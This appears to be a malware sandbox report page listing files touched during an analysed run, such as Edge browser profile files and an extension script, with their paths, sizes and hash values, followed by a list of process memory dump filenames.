SSDEEP 768:7j+9F3h/ugmMp8+p3bd66j+4BRv86aLIW4b9Ms:u9F3yq8+p3Z6n4ymb+s
TLSH
T1B4F2AF72E8699E638CE6C744B2573B876FF411A396C01DD8D9DCAF0D04872AD170B83A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 4d8d73444714dc6c16979575c46a8d8c9a6adb2626d52f81f563c0fa916b04a3
MD5 d5f11e4973cb2c800b7fc8061a6e630a
SHA1 2f67677d9f61da8040dae2985674f77eec57eab2
SHA512 7c12df990c57a6903e44cc4278b11732c12b20c357e5186a2edc1163a85dde9fa5c423f4b6b354e811b8bfa8ec828a36b56349d85fe2e5c42a4b695112e3d50a
SSDEEP 768:Irv+4UNbdD3LcuNp8+p3bd66j+4BRv86aLIir2bwCl1:Ibsbp3vL8+p3Z6n4yl0ww
TLSH
T16B03CE73F8A899739CE6C64472467A433FF851A396C10AC4D5DD2B4E419B29E230BD37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 41KB
SHA256 0bf77288ed150b62dd6ab510aa29acf712ca825f45ad64bdab55fde891a409af
MD5 462f93dc206e5248100d2869949b85ae
SHA1 cb708e0d3082d54e6e7b074c20ca35bf30e54dc1
SHA512 093ba3073704ea19c73cd5579393e29b65897f5124949c7aaff2cbc4dfae13f991ffa589b76e34fd302a2859e98993cbda06becc9983e2a2e28d5fedba0795ba
SSDEEP 768:yrv+4UNbdD3hougmZp8+p3bd66j+4BRv86aLIW42bwClP:ybsbp37H8+p3Z6n4ym0w6
TLSH
T1DA13BE72F8689D339CFAC64472477A837FF811A399C10D94D5D96B4E009A29E270BD37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 43KB
SHA256 9d51acb84a0528eadb2f071952bf117b61e63686d8915823de5926a8e92fe822
MD5 b2045238e06e2ba0a123480f514cc91a
SHA1 97184bc5b4cd9615b2152fe0b7b46c00aa2d3f60
SHA512 afd5566725d7325f9153fcb884f13d55ff98fc1313d7628038e2ac6837fb6a65bee3b07899c7c9cfb62c6decae5d14ead724c4940a35754c406148cdb06ab6be
SSDEEP 768:1F1j+9E3hNwgdu3rp8+p3bd66j+4BRv86aLIW4b9Ms:c9E3Q8+p3Z6n4ymb+s
TLSH
T1031328F298D78A36D8AE8787737D2E469EFCC163B5845884B7C85E4CCC861BFC606815
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

4d0b0622-980e-4038-830c-3bb2e5eb63e6.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\4d0b0622-980e-4038-830c-3bb2e5eb63e6.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir5632_58306999\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/796-325-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/796-341-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/896-437-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/896-429-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1300-187-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2228-435-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2728-431-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2728-425-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2760-452-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2760-475-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3008-441-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3008-454-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3068-345-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3140-368-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3140-281-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3140-262-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3140-340-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4224-473-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4232-301-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4332-405-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4716-321-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5192-396-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5208-371-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5456-279-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5812-383-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5812-402-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/6012-234-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/6012-265-0x0000000000010000-0x0000000000083000-memory.dmp

Download